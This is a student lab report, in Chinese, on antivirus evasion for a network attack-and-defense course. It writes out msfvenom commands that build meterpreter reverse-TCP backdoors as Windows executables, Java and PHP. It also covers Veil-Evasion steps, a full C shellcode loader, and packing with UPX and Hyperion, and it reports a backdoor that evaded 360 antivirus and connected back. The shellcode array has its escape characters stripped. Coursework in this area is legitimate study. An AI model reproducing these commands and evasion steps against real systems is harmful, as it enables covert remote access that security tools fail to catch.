2019-2020-2 20175312 陶光远《网络对抗技术》Exp3 免杀原理与实践
一、实验内容
1.1、正确使用msf编码器
-
在实验二中使用msf生成了后门程序，使用VirusTotal网站对该后门程序进行扫描
用VirusTotal扫描后结果如下：
通过VirusTotal的扫描结果我们直到不加任何处理的后门程序能够被大多数杀软检测到，下面我们使用msf编码器对后门程序进行一次到多次的编码，并进行检测。 -
一次编码：-e选择编码器，-b是payload中需要清除的字符，该命令中是为了使x00'不出现在shellcode中，因为shellcode以x00'为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.3.161 LPORT=5312 -f exe > exp3-1.exe
生成过程截图：
使用VirusTotal检测截图：
- 十次编码：使用-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.3.161 LPORT=5312 -f exe > exp3-2.exe
生成过程截图：
使用VirusTotal检测截图
1.2、msfvenom生成如jar之类的其他文件
- 生成java后门程序：
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.161 LPORT=5312 x> tgy20175312_backdoor_java.jar
生成过程截图
使用VirusTotal检测截图
- mfsvenom生成php文件
生成PHP后门程序使用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.161 LPORT=5312 x> tgy20175312_backdoor.php
生成过程截图
使用VirusTotal检测截图
1.3、veil-evasion
安装veil的过程遇到了很多困难，已经在后面的问题项目做了总结，安装完成后然后输入veil指令，进入如下页面
输入use evasion命令进入veil-evasion
输入use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IP:set LHOST 192.168.137.128（此处为KaliIP），端口：set LPORT 5312
输入generate生成文件，接着输入你想要payload的名字：veil_c_5312，如图所示，文件保存路径为：/var/lib/veil/output/compiled/veil_c_5312.exe
使用VirusTotal检测截图：
1.4、使用shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=5312 -f c生成一段shellcode。
创建一个文件20175312.c，然后将unsigned char buf[]赋值到其中，代码如下：
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x89x80"
"x68x02x00x14xc0x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5"；
int main()
{
int (func)() = (int()())buf;
func();
}
输入i686-w64-mingw32-g++ 20175312.c -o 20175312.exe，将此文件编译为可执行文件。
在VirusTotal检测截图
当想要使用windows上执行该程序时，被360杀毒隔离。
1.5、加壳工具
- 给之前的20175312.exe加个壳得到exp3-4_upxed.exe:
使用VirusTotal检测截图：
- 使用加密壳：Hyperion
使用命令：wine hyperion.exe -v dwt_upxed.exe dwt_upxed_Hyperion.exe成功加壳。
注意把要加壳文件放在Hyperion文件夹下。
使用VirusTotal检测截图：
1.6、使用其他课堂未介绍方法
参考了20175317zrw同学博客，在Veil-Evasion的部分荷载中进行了尝试，其中25号等荷载无法生成文件，发现28号荷载生成文件可以通过网站检测。
2.1、通过组合应用各种技术实现恶意代码免杀
在上文的一、1.6中可知28号荷载生成的文件可以通过查杀，于是就在对该文件进行了加壳操作，成功运行并免杀
3.1、用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
杀软名称：360杀毒
版本：5.0.0.8140（64位）
二、报告内容
1.1、基础问题回答
1.1.1、杀软是如何检测出恶意代码的？
基于特征码的检测
启发式恶意软件检测
基于行为的恶意软件检测
让软件运行，记录其行为并分析（杀软的工作原理）
1.1.2、免杀是做什么？
通过对恶意软件进行处理，使存在的恶意代码不被杀毒软件软件发现。
1.1.3、免杀的基本方法有哪些？
- 改变特征码：进行加壳操作，用encode进行编码、基于playload重新编译生成可执行文件、用其他语言进行重写再编译
- 改变行为：使用反弹式连接、使用隧道技术、加密通讯数据、减少对系统的修改、加入混淆作用的正常功能代码
1.2、实践总结与体会
1.2.1、总结实验中遇到的问题
-如下图，下载完安装包后，在安装kali时出现了中断的问题（中断前2h也在显示安装，但速度低至数k每秒）
我在第一次下载中断后把两个gecko文件放进与wine相关文件夹里
wine msiexec /i wine-mono-4.9.4.msi
wine msiexec /i wine_gecko-2.47-x86_64.msi
但除了安装速度从数k每秒提升至十几k每秒后外无变化，每次都会在安装1-2小时后提示中断。
之后我将整个安装包卸载了重下，并更新了全部依赖，最后虽然安装完成了，但我并不清楚是什么操作使veil安装完毕的。
-如下图，安装完kali后，运行，提示该文件出现问题
我最初的想法是直接修改出现问题行的代码，于是我参考网络上的类似解决方式对代码进行了修改，但在我修改后并没有任何变化发生，后我再一次卸载了veil，将整个虚拟机的源进行了更新，重新下载安装veil后可以运行。
1.2.2、实验体会
本次实验完成的非常困难，并不是操作过程多么繁琐，而是对实验环境配置时耗费了大量的精力。小到找不到应该下载完毕的加壳软件，大到整个veil不能安装不能运行，下了又下，安了又安，下载配置速度如同龟爬，等等等等。实验操作和报告总共花费的时间连1/5都不到。通过本次实验，加深了我对恶意代码的认识以及对查杀方式的理解。
1.3、开启杀软能绝对防止电脑中恶意代码吗？
不能。就像这次使用的VirusTotal网站中的杀软一样，不同的杀软是针对不同的恶意代码设计的，他们的查杀范围并不是全覆盖的，各有侧重。此外，当一种恶意代码能避过杀软的查杀原理，那就不会被查杀，新技术日新月异，杀软也需要与时俱进才能应对新出现的恶意代码。